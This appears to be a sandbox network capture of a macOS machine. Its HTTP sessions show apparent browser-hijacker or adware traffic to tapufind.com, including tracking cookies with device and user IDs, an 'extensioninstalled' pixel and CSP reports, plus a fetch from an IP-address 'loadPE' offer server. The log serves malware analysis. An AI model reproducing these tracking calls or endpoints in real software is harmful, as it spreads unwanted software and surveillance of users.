Feb 14, 2019 13:00:13.859096050 MEZ	6565	IN	Data Raw: 65 1e 0c c0 e3 12 f4 b9 ab 3a db aa f9 fc 58 bd 24 0e 5c eb 8c 99 03 b0 a9 27 59 7a 75 17 cf da 65 f4 7e 78 4c 83 8d 4c f1 ca aa 5d bc b2 6e 17 57 0b f6 e5 52 66 b9 c9 84 3c 16 9e bf 91 89 0f 60 4d fa 6c f7 70 93 31 9d 56 f7 9a fd 9c ba 09 f3 0e Data Ascii: e:X$\'Yzue~xLL]nWRf<`Mlp1V]lPIW7kG7@Ie{XTouuX~i=Wz[w{zaMw.{{+'w~#Uv{MW*tz ;]/;ss
Feb 14, 2019 13:00:13.859208107 MEZ	6566	IN	Data Raw: e3 2e 75 e1 0b 23 2b 53 f7 cd f4 3d a3 a9 ca 60 ec dd 40 97 83 b3 4d 63 f5 06 5a 51 cf 35 06 23 78 db 54 0c b7 c1 c8 92 17 f2 63 75 ab ad c1 61 ac 71 73 0e f3 94 cf 79 a3 96 2d 95 4a cb 28 fe 5a ea 3b f3 0a 08 9c b8 28 e8 a3 4e 41 ac da 4c d2 4e Data Ascii: .u#+S=`@McZQ5#xTcuaqsy-J(Z;(NALN0.et?iYvig)&QXXF+;gbMT"()1oP h&8g`7alZI~G_~\ba~O[O?![J~ _c-x
Feb 14, 2019 13:00:13.987282991 MEZ	6877	IN	Data Raw: bd 59 e8 87 88 8d 0d 51 11 32 65 ff f7 96 40 2b b6 45 8a 1d 55 55 7e bb 7e 57 90 59 46 0c 28 8d 05 fa 1d dd ae 43 43 90 6f 16 bf 82 5e b3 87 e0 d7 f1 a9 06 6f 40 ef e3 d3 59 68 81 c4 c0 dc bf f6 56 02 dd 80 00 24 56 06 a8 d0 1c b0 da 98 7a 92 6d Data Ascii: YQ2e@+EUU~~WYF(CCo^o@YhV$Vzm0`m;I\|ovBYJS'4_XS#~O]qOzz]\|JeTAs#Zx]4QI"n=.]./-1Q%Iy]&Y?gOt\|z
Feb 14, 2019 13:00:13.989526987 MEZ	6884	OUT	GET /js/classList.js?v=6 HTTP/1.1 Host: search.tapufind.com Accept: / Connection: keep-alive Cookie: ASP.NET_SessionId=3pvsaqlbktbmlre22qymqs2s; paramless_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4MazA; sp_ref=; co=CH; dpid=yhs; feedid=infospace; hsimp=yhs-newtab; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4Ma23JRq5roLi28zEds39kAibte8Rm0KlQgUHBFN5RU4oT_qrHlUdboQ6bQsk8XOpI0E-9gT1HZjFcXQc9cx-qiPebfuJKpz2rPjuI6csEMA_bzdnwjmMLpEII_JtAD9H1XZ-H8BAlNHZXQS3wvIqZ92YrUcE-d0YDoVyV4INtuxhCHfqzvdsXtA,; publisher=tapufindsf; type=YHS_TAPHP_100; userid=syn_d955cead-824c-4550-9e89-02e36ed3c263; _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnet User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Accept-Language: en-us Referer: http://search.tapufind.com/?q= Accept-Encoding: gzip, deflate
Feb 14, 2019 13:00:14.116816044 MEZ	7234	IN	HTTP/1.1 200 OK Cache-Control: max-age=259200 Content-Type: application/javascript Content-Encoding: gzip Last-Modified: Tue, 29 Jan 2019 13:21:57 GMT Accept-Ranges: bytes ETag: "80c8c69bd5b7d41:0" Vary: Accept-Encoding Request-Context: appId=cid-v1:da449687-a631-4767-82ce-2a5d944140bb Date: Thu, 14 Feb 2019 12:00:13 GMT Content-Length: 1314 Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ac 57 ef 4e e3 46 10 ff 8e c4 3b 18 ab 0a b6 e2 73 e0 e8 a9 12 ee ea 14 41 ae 45 ba 83 13 a0 aa 15 47 23 63 4f 9c e5 1c 3b da dd 10 50 92 27 eb 87 3e 52 5f a1 b3 b3 6b c7 f9 03 dc 07 3e 40 b2 b3 f3 7f 7e 33 3b d9 dd f9 ef 9f 7f 77 77 f8 c0 73 d3 32 99 8c a0 50 2e 2f 1c 09 f9 c0 9f 21 75 cf 73 93 3c 96 f2 33 97 74 51 31 85 89 80 58 41 2f 07 7d f2 dc be eb fb f3 f9 f6 db f3 ab 56 eb c7 f4 9c 5f 79 ee 50 a9 f1 71 a7 33 9d 4e c3 e9 51 58 8a ac f3 fe e0 e0 a0 23 1f 32 37 70 33 34 e3 cf bc c1 a4 48 14 2f 0b ef 81 c3 d4 9f b9 13 09 8e 54 82 27 ca 8d c8 e9 7d ab 70 1f 4d 11 8f 2f 40 4d 44 11 3d c4 62 77 a7 f6 e4 ab 28 c7 ac e1 58 30 16 a5 2a 0d 95 be aa a7 31 b8 01 a0 b2 13 25 be 6a 0a d3 ea 42 ab fe a6 e6 bf 0d ca bb 7b e4 61 17 77 f7 90 a8 00 bd b9 16 7c c4 ae d0 ab 22 6b f0 85 48 18 cd e7 75 04 fe cc 78 e6 a8 21 97 a1 80 71 1e 27 e0 75 fe fe 26 db 73 fc fb a9 93 05 ae eb 47 8b 20 16 e2 ac 48 e1 f1 62 c0 ba 42 c4 4f 4d 9d dc 5c 34 d4 72 05 23 7f 46 d1 72 76 10 e4 50 30 32 80 5f 32 35 8c 06 a5 f0 22 fe 2b 9e 22 de 6e 53 a5 b9 c3 8d 13 ad 96 fe 7f c3 6f 19 63 46 8d f5 90 47 8b c5 ee 8e 39 bc 3b 44 97 4e 2f be f4 1e 59 6d 53 27 2b 18 81 94 71 06 fe 8c cc 15 f1 08 98 a6 47 74 4c ca 14 18 49 25 30 d6 32 37 fa ee d6 5c 5a 49 66 3f 51 7f 32 84 e4 fb 75 f9 1d 8a 6e 91 fe 06 8a e2 5f da ab eb 16 28 cd 43 51 d0 37 74 1c 73 86 1e 88 72 ea 14 30 75 c8 a4 e7 5e fd 75 7e dd fd b3 df bb bc 44 28 75 31 a0 e2 21 ce 79 ea 94 c2 e1 79 0e 59 9c 13 8a 8a cc 99 c6 d2 91 63 48 f8 80 43 aa d3 4f 2d d2 f9 26 3b a1 02 a9 8c 19 7f 8b 89 b3 f3 3f ba 9f cf 4e fb 27 bf 77 2f bb 27 d7 bd 4b 6b cd e0 c0 49 ca 42 c5 bc 90 4e bc b4 9e 0c 63 11 27 0a 84 b1 63 93 bd 2c 77 98 c4 79 be 11 2c a6 e7 a4 22 2d 53 a2 91 6a cb ae 71 36 82 94 98 40 32 0b 48 a3 4c b3 85 19 a8 ae 42 ae bb 89 02 db 9d 2e f6 30 66 2e 48 ac d0 aa 8e 8f ab c7 50 8e 73 ae 74 52 da 1d ff f8 e6 36 a8 80 66 a5 9f c3 1a 15 7b 3c 91 43 cf 32 22 d4 28 72 ba e8 4f c6 29 0e 04 b2 71 ae d1 d3 e8 14 72 5b 6e 71 3b 20 51 55 9a 2c 7b 3e aa d3 f0 69 b4 39 36 6e 9d ae 46 e7 30 74 bb 66 43 84 61 15 d8 66 6b ea fa d6 d2 9e b6 a5 0d 50 c5 9b ba 7a 42 94 a2 41 88 56 1d 08 75 33 2d b5 f3 95 ce c7 1c cc e7 c5 24 cf 51 f1 9a 58 85 99 46 a3 19 b8 d3 47 1b a1 1e 59 45 5b fb 85 fc b5 a0 d9 63 4c 37 ee ba 85 38 4d 9b 51 1b f8 68 01 c9 62 91 d1 9c 96 a6 ba cc 90 6d 69 8d d6 c0 54 0c 55 c4 b9 84 28 2d 8d 63 96 15 03 6b bb 34 95 5f f5 8e 69 ef 9a f8 b0 48 af f4 2b 31 01 1a 41 d3 21 cf c1 6b b7 11 54 be d6 6c 19 ac e8 3a 82 3c 2c Data Ascii: WNF;sAEG#cO;P'>R_k>@~3;wws2P./!us<3tQ1XA/}V_yPq3NQX#27p34H/T'}pM/@MD=bw(X0*1%jB{aw\|"kHux!q'u&sG HbBOM\4r#FrvP02_25"+"nSocFG9;DN/YmS'+qGtLI%027\ZIf?Q2un_(CQ7tsr0u^u~D(u1!yyYcHCO-&;?N'w/'KkIBNc'c,wy,"-Sjq6@2HLB.0f.HPstR6f{<C2"(rO)qr[nq; QU,{>i96nF0tfCafkPzBAVu3-$QXFGYE[cL78MQhbmiTU(-ck4_iH+1A!kTl:<,
Feb 14, 2019 13:00:14.116830111 MEZ	7234	IN	Data Raw: d6 46 c8 02 46 e5 03 bc 59 d4 01 4d e0 e7 62 a7 b1 f5 6a f8 91 09 8b b8 f7 1a a9 d0 6d 96 58 7a 70 b8 96 8e 1f d5 fd 46 69 53 65 96 e5 b0 86 c4 00 3b 3c 81 26 1e 29 97 02 e4 24 57 cc 0e 7e 83 61 5b 52 7c 25 d4 b0 4c 99 61 f9 48 f2 18 b2 8e a8 d5 Data Ascii: FFYMbjmXzpFiSe;<&)$W~a[R\|%LaHrMmLF:d7p[ajdF!>Dz#jYqgkfg4@GDsVVS>^A?pc0MEl!qa=Nb=xC4}cxOz'~g
Feb 14, 2019 13:00:14.120012045 MEZ	7241	OUT	POST /csp.aspx?barcode=tapufindsf\|yhs HTTP/1.1 Host: search.tapufind.com Content-Type: application/csp-report Origin: null Accept-Encoding: gzip, deflate Cookie: ASP.NET_SessionId=3pvsaqlbktbmlre22qymqs2s; paramless_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4MazA; sp_ref=; co=CH; dpid=yhs; feedid=infospace; hsimp=yhs-newtab; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4Ma23JRq5roLi28zEds39kAibte8Rm0KlQgUHBFN5RU4oT_qrHlUdboQ6bQsk8XOpI0E-9gT1HZjFcXQc9cx-qiPebfuJKpz2rPjuI6csEMA_bzdnwjmMLpEII_JtAD9H1XZ-H8BAlNHZXQS3wvIqZ92YrUcE-d0YDoVyV4INtuxhCHfqzvdsXtA,; publisher=tapufindsf; type=YHS_TAPHP_100; userid=syn_d955cead-824c-4550-9e89-02e36ed3c263; _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnet Connection: keep-alive Accept: / User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Referer: http://search.tapufind.com/?q= Content-Length: 850 Accept-Language: en-us
Feb 14, 2019 13:00:14.120625019 MEZ	7245	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 3a 2f 2f 73 65 61 72 63 68 2e 74 61 70 75 66 69 6e 64 2e 63 6f 6d 2f 3f 71 3d 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 76 69 6f 6c Data Ascii: {"csp-report":{"document-uri":"http://search.tapufind.com/?q=","referrer":"","violated-directive":"style-src 'self' fonts.googleapis.com 'unsafe-inline' k5a6w6w2.ssl.hwcdn.net","effective-directive":"style-src","original-policy":"default-src '
Feb 14, 2019 13:00:14.249960899 MEZ	7568	IN	HTTP/1.1 204 No Content Cache-Control: private Content-Type: image/gif Request-Context: appId=cid-v1:da449687-a631-4767-82ce-2a5d944140bb Date: Thu, 14 Feb 2019 12:00:14 GMT
Feb 14, 2019 13:00:15.579857111 MEZ	8209	OUT	POST /csp.aspx?barcode=tapufindsf\|yhs HTTP/1.1 Host: search.tapufind.com Content-Type: application/csp-report Origin: null Accept-Encoding: gzip, deflate Cookie: ASP.NET_SessionId=3pvsaqlbktbmlre22qymqs2s; paramless_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4MazA; sp_ref=; co=CH; dpid=yhs; feedid=infospace; hsimp=yhs-newtab; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4Ma23JRq5roLi28zEds39kAibte8Rm0KlQgUHBFN5RU4oT_qrHlUdboQ6bQsk8XOpI0E-9gT1HZjFcXQc9cx-qiPebfuJKpz2rPjuI6csEMA_bzdnwjmMLpEII_JtAD9H1XZ-H8BAlNHZXQS3wvIqZ92YrUcE-d0YDoVyV4INtuxhCHfqzvdsXtA,; publisher=tapufindsf; type=YHS_TAPHP_100; userid=syn_d955cead-824c-4550-9e89-02e36ed3c263; _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnet Connection: keep-alive Accept: / User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Referer: http://search.tapufind.com/?q= Content-Length: 837 Accept-Language: en-us
Feb 14, 2019 13:00:15.580080986 MEZ	8210	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 3a 2f 2f 73 65 61 72 63 68 2e 74 61 70 75 66 69 6e 64 2e 63 6f 6d 2f 3f 71 3d 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 76 69 6f 6c Data Ascii: {"csp-report":{"document-uri":"http://search.tapufind.com/?q=","referrer":"","violated-directive":"frame-src 'self' display.online-adnetwork.com partnerads.ysm.yahoo.com","effective-directive":"frame-src","original-policy":"default-src 'self'
Feb 14, 2019 13:00:15.707379103 MEZ	8216	IN	HTTP/1.1 204 No Content Cache-Control: private Content-Type: image/gif Request-Context: appId=cid-v1:da449687-a631-4767-82ce-2a5d944140bb Date: Thu, 14 Feb 2019 12:00:15 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.0.50	49314	13.84.45.249	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:14.039119959 MEZ	7031	OUT	GET /Pixel.aspx?name=TapuFind&type=extensioninstalled&browser=false&entity=31&barcode=52413004&userid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c&data1=true HTTP/1.1 Host: feed.tapufind.com Accept: / Cookie: SmFeedSearchParams=useragentbrowser=safari&u_ip=185.189.150.72&$host=feed.tapufind.com&userid=syn_d955cead-824c-4550-9e89-02e36ed3c263&co=CH; feeduid=syn_d955cead-824c-4550-9e89-02e36ed3c263 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: keep-alive
Feb 14, 2019 13:00:14.170161963 MEZ	7366	IN	HTTP/1.1 200 OK Cache-Control: public, no-cache="Set-Cookie" Content-Type: image/gif Last-Modified: Thu, 14 Feb 2019 12:00:14 GMT Server: Microsoft-IIS/8.5 Request-Context: appId=cid-v1:c81b1c33-8037-4c54-b6ac-87ee3f2902c5 Set-Cookie: ASP.NET_SessionId=jmihee2q5c1nduhukay3rvib; path=/; HttpOnly Access-Control-Allow-Origin: * X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 12:00:13 GMT Content-Length: 43 Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.0.50	49316	13.66.51.37	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:14.058897972 MEZ	7080	OUT	POST /csp.aspx?barcode=tapufindsf\|yhs HTTP/1.1 Host: search.tapufind.com Content-Type: application/csp-report Origin: null Accept-Encoding: gzip, deflate Cookie: ASP.NET_SessionId=3pvsaqlbktbmlre22qymqs2s; paramless_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4MazA; sp_ref=; co=CH; dpid=yhs; feedid=infospace; hsimp=yhs-newtab; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4Ma23JRq5roLi28zEds39kAibte8Rm0KlQgUHBFN5RU4oT_qrHlUdboQ6bQsk8XOpI0E-9gT1HZjFcXQc9cx-qiPebfuJKpz2rPjuI6csEMA_bzdnwjmMLpEII_JtAD9H1XZ-H8BAlNHZXQS3wvIqZ92YrUcE-d0YDoVyV4INtuxhCHfqzvdsXtA,; publisher=tapufindsf; type=YHS_TAPHP_100; userid=syn_d955cead-824c-4550-9e89-02e36ed3c263; _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnet Connection: keep-alive Accept: / User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Referer: http://search.tapufind.com/?q= Content-Length: 850 Accept-Language: en-us
Feb 14, 2019 13:00:14.059151888 MEZ	7081	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 3a 2f 2f 73 65 61 72 63 68 2e 74 61 70 75 66 69 6e 64 2e 63 6f 6d 2f 3f 71 3d 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 76 69 6f 6c Data Ascii: {"csp-report":{"document-uri":"http://search.tapufind.com/?q=","referrer":"","violated-directive":"style-src 'self' fonts.googleapis.com 'unsafe-inline' k5a6w6w2.ssl.hwcdn.net","effective-directive":"style-src","original-policy":"default-src '
Feb 14, 2019 13:00:14.185916901 MEZ	7405	IN	HTTP/1.1 204 No Content Cache-Control: private Content-Type: image/gif Request-Context: appId=cid-v1:da449687-a631-4767-82ce-2a5d944140bb Date: Thu, 14 Feb 2019 12:00:13 GMT
Feb 14, 2019 13:00:14.188549995 MEZ	7421	OUT	POST /csp.aspx?barcode=tapufindsf\|yhs HTTP/1.1 Host: search.tapufind.com Content-Type: application/csp-report Origin: null Accept-Encoding: gzip, deflate Cookie: ASP.NET_SessionId=3pvsaqlbktbmlre22qymqs2s; paramless_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4MazA; sp_ref=; co=CH; dpid=yhs; feedid=infospace; hsimp=yhs-newtab; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4Ma23JRq5roLi28zEds39kAibte8Rm0KlQgUHBFN5RU4oT_qrHlUdboQ6bQsk8XOpI0E-9gT1HZjFcXQc9cx-qiPebfuJKpz2rPjuI6csEMA_bzdnwjmMLpEII_JtAD9H1XZ-H8BAlNHZXQS3wvIqZ92YrUcE-d0YDoVyV4INtuxhCHfqzvdsXtA,; publisher=tapufindsf; type=YHS_TAPHP_100; userid=syn_d955cead-824c-4550-9e89-02e36ed3c263; _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnet Connection: keep-alive Accept: / User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Referer: http://search.tapufind.com/?q= Content-Length: 850 Accept-Language: en-us
Feb 14, 2019 13:00:14.189045906 MEZ	7427	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 3a 2f 2f 73 65 61 72 63 68 2e 74 61 70 75 66 69 6e 64 2e 63 6f 6d 2f 3f 71 3d 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 76 69 6f 6c Data Ascii: {"csp-report":{"document-uri":"http://search.tapufind.com/?q=","referrer":"","violated-directive":"style-src 'self' fonts.googleapis.com 'unsafe-inline' k5a6w6w2.ssl.hwcdn.net","effective-directive":"style-src","original-policy":"default-src '
Feb 14, 2019 13:00:14.315579891 MEZ	7728	IN	HTTP/1.1 204 No Content Cache-Control: private Content-Type: image/gif Request-Context: appId=cid-v1:da449687-a631-4767-82ce-2a5d944140bb Date: Thu, 14 Feb 2019 12:00:14 GMT
Feb 14, 2019 13:00:15.599910021 MEZ	8212	OUT	POST /csp.aspx?barcode=tapufindsf\|yhs HTTP/1.1 Host: search.tapufind.com Content-Type: application/csp-report Origin: null Accept-Encoding: gzip, deflate Cookie: cto_lwid=90a11531-9658-4278-983b-7a499662aa31; ASP.NET_SessionId=3pvsaqlbktbmlre22qymqs2s; paramless_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4MazA; sp_ref=; co=CH; dpid=yhs; feedid=infospace; hsimp=yhs-newtab; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4Ma23JRq5roLi28zEds39kAibte8Rm0KlQgUHBFN5RU4oT_qrHlUdboQ6bQsk8XOpI0E-9gT1HZjFcXQc9cx-qiPebfuJKpz2rPjuI6csEMA_bzdnwjmMLpEII_JtAD9H1XZ-H8BAlNHZXQS3wvIqZ92YrUcE-d0YDoVyV4INtuxhCHfqzvdsXtA,; publisher=tapufindsf; type=YHS_TAPHP_100; userid=syn_d955cead-824c-4550-9e89-02e36ed3c263; _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnet Connection: keep-alive Accept: / User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Referer: http://search.tapufind.com/?q= Content-Length: 916 Accept-Language: en-us
Feb 14, 2019 13:00:15.600178957 MEZ	8213	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 3a 2f 2f 73 65 61 72 63 68 2e 74 61 70 75 66 69 6e 64 2e 63 6f 6d 2f 3f 71 3d 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 76 69 6f 6c Data Ascii: {"csp-report":{"document-uri":"http://search.tapufind.com/?q=","referrer":"","violated-directive":"frame-src 'self' display.online-adnetwork.com partnerads.ysm.yahoo.com","effective-directive":"frame-src","original-policy":"default-src 'self'
Feb 14, 2019 13:00:15.727986097 MEZ	8219	IN	HTTP/1.1 204 No Content Cache-Control: private Content-Type: image/gif Request-Context: appId=cid-v1:da449687-a631-4767-82ce-2a5d944140bb Date: Thu, 14 Feb 2019 12:00:15 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.0.50	49284	34.225.153.59	10000

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 12:59:26.539122105 MEZ	38	OUT	GET /loadPE//JavaScript/jquery.min.js HTTP/1.1 Host: 34.225.153.59:10000 Accept: / Connection: keep-alive Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMlwiOjE1NTAxNDU1NjZ9LFwidGltZVwiOjE1NTAxNDU1NjZ9In0.KmGO_kmjL1a7NGYfAZEtR0CtNdS9mDg-LzDrIMRpAhM User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Accept-Language: en-us Referer: http://34.225.153.59:10000/loadPE//ListOffers.php Accept-Encoding: gzip, deflate
Feb 14, 2019 12:59:26.635021925 MEZ	54	IN	HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Thu, 14 Feb 2019 11:59:26 GMT Content-Type: application/javascript Content-Length: 93868 Last-Modified: Wed, 11 Oct 2017 14:27:32 GMT Connection: keep-alive ETag: "59de2a54-16eac" Accept-Ranges: bytes Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 37 2e 31 20 6a 71 75 65 72 79 2e 63 6f 6d 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 79 28 61 29 7b 72 65 74 75 72 6e 20 66 2e 69 73 57 69 6e 64 6f 77 28 61 29 3f 61 3a 61 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 39 3f 61 2e 64 65 66 61 75 6c 74 56 69 65 77 7c 7c 61 2e 70 61 72 65 6e 74 57 69 6e 64 6f 77 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 63 76 28 61 29 7b 69 66 28 21 63 6b 5b 61 5d 29 7b 76 61 72 20 62 3d 63 2e 62 6f 64 79 2c 64 3d 66 28 22 3c 22 2b 61 2b 22 3e 22 29 2e 61 70 70 65 6e 64 54 6f 28 62 29 2c 65 3d 64 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 29 3b 64 2e 72 65 6d 6f 76 65 28 29 3b 69 66 28 65 3d 3d 3d 22 6e 6f 6e 65 22 7c 7c 65 3d 3d 3d 22 22 29 7b 63 6c 7c 7c 28 63 6c 3d 63 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 2c 63 6c 2e 66 72 61 6d 65 42 6f 72 64 65 72 3d 63 6c 2e 77 69 64 74 68 3d 63 6c 2e 68 65 69 67 68 74 3d 30 29 2c 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 6c 29 3b 69 66 28 21 63 6d 7c 7c 21 63 6c 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 29 63 6d 3d 28 63 6c 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 7c 7c 63 6c 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 29 2e 64 6f 63 75 6d 65 6e 74 2c 63 6d 2e 77 72 69 74 65 28 28 63 2e 63 6f 6d 70 61 74 4d 6f 64 65 3d 3d 3d 22 43 53 53 31 43 6f 6d 70 61 74 22 3f 22 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 22 3a 22 22 29 2b 22 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 22 29 2c 63 6d 2e 63 6c 6f 73 65 28 29 3b 64 3d 63 6d 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 61 29 2c 63 6d 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 29 2c 65 3d 66 2e 63 73 73 28 64 2c 22 64 69 73 70 6c 61 79 22 29 2c 62 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 63 6c 29 7d 63 6b 5b 61 5d 3d 65 7d 72 65 74 75 72 6e 20 63 6b 5b 61 5d 7d 66 75 6e 63 74 69 6f 6e 20 63 75 28 61 2c 62 29 7b 76 61 72 20 63 3d 7b 7d 3b 66 2e 65 61 63 68 28 63 71 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 63 71 2e 73 6c 69 63 65 28 30 2c 62 29 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 63 5b 74 68 69 73 5d 3d 61 7d 29 3b 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 63 74 28 29 7b 63 72 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 63 73 28 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 63 74 2c 30 29 3b 72 65 74 75 72 6e 20 63 72 3d 66 2e 6e 6f 77 28 29 7d 66 75 6e 63 74 69 6f 6e 20 63 6a 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 61 2e 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 22 4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50 22 29 7d 63 61 74 63 68 28 62 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 69 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 61 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 63 61 74 63 68 28 62 29 7b 7d 7d 66 75 6e 63 Data Ascii: /! jQuery v1.7.1 jquery.com \| jquery.org/license /(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView\|\|a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"\|\|e===""){cl\|\|(cl=c.createElement("iframe"),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm\|\|!cl.createElement)cm=(cl.contentWindow\|\|cl.contentDocument).document,cm.write((c.compatMode==="CSS1Compat"?"<!doctype html>":"")+"<html><body>"),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,"display"),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ci(){try{return new a.XMLHttpRequest}catch(b){}}func
